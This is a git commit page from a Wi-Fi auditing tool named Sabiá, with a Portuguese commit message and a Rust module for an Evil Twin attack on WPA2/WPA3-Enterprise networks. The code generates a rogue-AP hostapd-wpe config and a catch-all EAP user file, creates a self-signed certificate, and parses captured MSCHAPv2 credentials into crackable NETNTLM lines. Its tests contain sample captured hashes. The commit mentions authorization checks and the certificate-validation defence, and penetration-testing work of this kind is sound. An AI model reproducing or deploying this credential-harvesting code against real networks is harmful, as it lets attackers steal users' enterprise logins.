feat: Evil Twin (PSK + Enterprise/802.1X) e achados de análise de canais
- eviltwin.rs: clona um AP já visto na sessão (SSID aberto) numa segunda interface, com portal cativo pedindo a senha de novo. A senha só é aceita se bater de verdade contra o handshake real já capturado (CrackTarget::verify) — não é um "aceita qualquer coisa", é um oráculo criptográfico. Exige handshake quebrável já capturado desse BSSID e autorização explícita, mesma trilha de auditoria dos outros ataques. - eviltwin_enterprise.rs: variante pra redes WPA2/WPA3-Enterprise (802.1X) — nelas a credencial viaja no próprio handshake EAP (PEAP/TTLS-MSCHAPv2), então o cliente autentica sozinho em qualquer AP que anuncie o SSID, sem portal nem ação humana. Orquestra hostapd-wpe (não vendorizado — é um patch no build do hostapd); gera certificado TLS autoassinado e eap_user genérico; parser best-effort do log de credenciais capturadas. Limitação documentada: cliente que valida a cadeia de certificado recusa a conexão. - analysis.rs: achados de segurança (rede aberta, sem PMF, WPS ativo, possível evil twin real por nome duplicado) e recomendação de canal por banda com pontuação de interferência/sobreposição.
This commit is contained in:
1 parent
f83654506e
commit
91aacba939
3 files changed
+1182
No files matched your search
@@ -0,0 +1,224 @@
|
||||
//! Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X — usuário+senha via
|
||||
//! RADIUS, não uma senha única como o PSK comum): clona o AP numa segunda
|
||||
//! interface anunciando o mesmo SSID e aceita o handshake EAP (PEAP/EAP-TTLS
|
||||
//! com MSCHAPv2) de qualquer cliente que tente autenticar nele. Diferente do
|
||||
//! Evil Twin de PSK (`eviltwin.rs`), aqui o dispositivo manda a credencial
|
||||
//! **automaticamente**, como parte do próprio protocolo 802.1X — não precisa
|
||||
//! de portal cativo nem de nenhuma ação humana, porque o cliente já tenta
|
||||
//! autenticar sozinho em qualquer AP que anuncie o SSID que ele reconhece.
|
||||
//!
|
||||
//! Isso só existe pra Enterprise porque só nela a senha (ou algo derivado
|
||||
//! dela) de fato viaja pela rede como parte da autenticação — no PSK a
|
||||
//! senha nunca é transmitida (só confere um MIC), por isso o Evil Twin de
|
||||
//! PSK precisa enganar um humano a digitá-la de novo.
|
||||
//!
|
||||
//! Orquestra o `hostapd-wpe` (não vem com o Sabiá — precisa estar instalado
|
||||
//! separadamente: não é um binário pequeno vendorizável como o reaver, é um
|
||||
//! patch sobre a árvore de build do próprio hostapd). O Sabiá só gera a
|
||||
//! config, o `eap_user` genérico e o certificado autoassinado, e depois lê o
|
||||
//! log de credenciais capturadas.
|
||||
//!
|
||||
//! Limitação honesta: o certificado é autoassinado. Clientes que validam a
|
||||
//! cadeia de certificado da rede (comum em dispositivos atualizados,
|
||||
//! principalmente com perfil MDM corporativo) vão recusar a conexão ou
|
||||
//! avisar o usuário — exatamente a defesa que deveria existir contra esse
|
||||
//! ataque. Funciona de verdade contra dispositivos configurados sem essa
|
||||
//! validação (ainda comum em redes legadas/mal configuradas), que é o caso
|
||||
//! que esse ataque sempre existiu para expor.
|
||||
|
||||
use std::fmt::Write as _;
|
||||
|
||||
/// Config do hostapd-wpe pro AP clone: mesmo SSID/canal do AP real,
|
||||
/// anunciando WPA2-Enterprise e aceitando qualquer EAP (PEAP/TTLS) — é o
|
||||
/// `eap_user_file` genérico que faz ele aceitar qualquer identidade.
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub fn hostapd_wpe_conf(
|
||||
iface: &str,
|
||||
ssid: &str,
|
||||
channel: u32,
|
||||
eap_user_path: &str,
|
||||
ca_cert_path: &str,
|
||||
server_cert_path: &str,
|
||||
server_key_path: &str,
|
||||
wpe_logfile_path: &str,
|
||||
) -> String {
|
||||
let mut out = String::new();
|
||||
let _ = writeln!(out, "interface={iface}");
|
||||
let _ = writeln!(out, "driver=nl80211");
|
||||
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
|
||||
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
|
||||
let _ = writeln!(out, "channel={channel}");
|
||||
let _ = writeln!(out, "auth_algs=1");
|
||||
let _ = writeln!(out, "wmm_enabled=1");
|
||||
let _ = writeln!(out, "ignore_broadcast_ssid=0");
|
||||
let _ = writeln!(out, "wpa=2");
|
||||
let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
|
||||
let _ = writeln!(out, "rsn_pairwise=CCMP");
|
||||
let _ = writeln!(out, "ieee8021x=1");
|
||||
let _ = writeln!(out, "eap_server=1");
|
||||
let _ = writeln!(out, "eap_user_file={eap_user_path}");
|
||||
let _ = writeln!(out, "ca_cert={ca_cert_path}");
|
||||
let _ = writeln!(out, "server_cert={server_cert_path}");
|
||||
let _ = writeln!(out, "private_key={server_key_path}");
|
||||
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
|
||||
out
|
||||
}
|
||||
|
||||
/// `eap_user` genérico: aceita qualquer identidade externa pra PEAP/TTLS e
|
||||
/// força MSCHAPv2 por dentro — é o que faz o hostapd-wpe logar usuário +
|
||||
/// challenge/response de qualquer cliente que tentar autenticar, sem
|
||||
/// precisar saber credenciais reais de antemão.
|
||||
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
|
||||
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
|
||||
"* PEAP,TTLS\n",
|
||||
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
|
||||
);
|
||||
|
||||
/// Argumentos do `openssl req` pra gerar o par certificado+chave
|
||||
/// autoassinado que o hostapd-wpe precisa pra abrir TLS (PEAP/TTLS sempre
|
||||
/// envolve um túnel TLS, mesmo sendo um AP falso). Efêmero: 1 dia de validade
|
||||
/// é de sobra pra uma sessão de teste.
|
||||
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
|
||||
[
|
||||
"req",
|
||||
"-x509",
|
||||
"-newkey",
|
||||
"rsa:2048",
|
||||
"-keyout",
|
||||
key_path,
|
||||
"-out",
|
||||
cert_path,
|
||||
"-days",
|
||||
"1",
|
||||
"-nodes",
|
||||
"-subj",
|
||||
"/CN=sabia-wpe",
|
||||
]
|
||||
.into_iter()
|
||||
.map(String::from)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn sanitize_conf_value(value: &str) -> String {
|
||||
value.replace(['\n', '\r'], "")
|
||||
}
|
||||
|
||||
/// Uma credencial capturada: identidade + a linha pronta pra crackear
|
||||
/// (formato `netntlm` do John the Ripper / compatível com `hashcat -m 5500`),
|
||||
/// se o hostapd-wpe conseguiu capturar os dois.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct CapturedCredential {
|
||||
pub username: String,
|
||||
pub netntlm: Option<String>,
|
||||
}
|
||||
|
||||
/// Lê o `wpe_logfile` e extrai as credenciais capturadas. Parser
|
||||
/// best-effort: o formato do hostapd-wpe é documentado (blocos
|
||||
/// `username:`/`challenge:`/`response:`/`jtr NETNTLM:`), mas não dá pra
|
||||
/// validar contra uma instalação de verdade nesta máquina (não é um
|
||||
/// binário que o Sabiá vendoriza). Pega a linha `jtr NETNTLM:` quando
|
||||
/// presente — já vem pronta pra `john --format=netntlm` ou pra reformatar
|
||||
/// pro `hashcat -m 5500` — e nunca falha "silenciosamente demais": o job
|
||||
/// sempre expõe o arquivo de log cru também, pra conferência manual.
|
||||
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
|
||||
let mut out: Vec<CapturedCredential> = Vec::new();
|
||||
let mut current_username: Option<String> = None;
|
||||
for raw_line in log.lines() {
|
||||
let line = raw_line.trim();
|
||||
if let Some(rest) = line.strip_prefix("username:") {
|
||||
current_username = Some(rest.trim().to_string());
|
||||
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
|
||||
let netntlm = rest.trim().to_string();
|
||||
let username = current_username
|
||||
.clone()
|
||||
.or_else(|| netntlm.split(':').next().map(str::to_string))
|
||||
.unwrap_or_default();
|
||||
if !out.iter().any(|c: &CapturedCredential| {
|
||||
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
|
||||
}) {
|
||||
out.push(CapturedCredential {
|
||||
username,
|
||||
netntlm: Some(netntlm),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
|
||||
let conf = hostapd_wpe_conf(
|
||||
"wlan1",
|
||||
"Corp\nWifi",
|
||||
149,
|
||||
"/tmp/eap_user",
|
||||
"/tmp/ca.pem",
|
||||
"/tmp/server.pem",
|
||||
"/tmp/server.key",
|
||||
"/tmp/wpe.log",
|
||||
);
|
||||
assert!(conf.contains("interface=wlan1"));
|
||||
assert!(conf.contains("ssid=CorpWifi"));
|
||||
assert!(!conf.contains("ssid=Corp\nWifi"));
|
||||
assert!(conf.contains("hw_mode=a"));
|
||||
assert!(conf.contains("ieee8021x=1"));
|
||||
assert!(conf.contains("eap_server=1"));
|
||||
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
|
||||
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn openssl_args_reference_the_right_paths() {
|
||||
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
|
||||
assert!(args.contains(&"/tmp/k.key".to_string()));
|
||||
assert!(args.contains(&"/tmp/c.pem".to_string()));
|
||||
assert!(args.contains(&"-x509".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn captured_identities_parses_username_and_netntlm_blocks() {
|
||||
let log = "\
|
||||
mschapv2: Thu Jan 1 00:00:00 1970
|
||||
username: bob
|
||||
challenge: aabbccddeeff0011
|
||||
response: 1122334455667788990011223344556677889900aabbcc
|
||||
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
|
||||
|
||||
mschapv2: Thu Jan 1 00:01:00 1970
|
||||
username: alice
|
||||
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
|
||||
";
|
||||
let creds = captured_identities(log);
|
||||
assert_eq!(creds.len(), 2);
|
||||
assert_eq!(creds[0].username, "bob");
|
||||
assert!(creds[0]
|
||||
.netntlm
|
||||
.as_deref()
|
||||
.unwrap()
|
||||
.starts_with("bob:$NETNTLM$"));
|
||||
assert_eq!(creds[1].username, "alice");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
|
||||
let log = "\
|
||||
username: bob
|
||||
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
||||
username: bob
|
||||
jtr NETNTLM: bob:$NETNTLM$aa$bb
|
||||
";
|
||||
let creds = captured_identities(log);
|
||||
assert_eq!(creds.len(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
|
||||
assert!(captured_identities("").is_empty());
|
||||
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user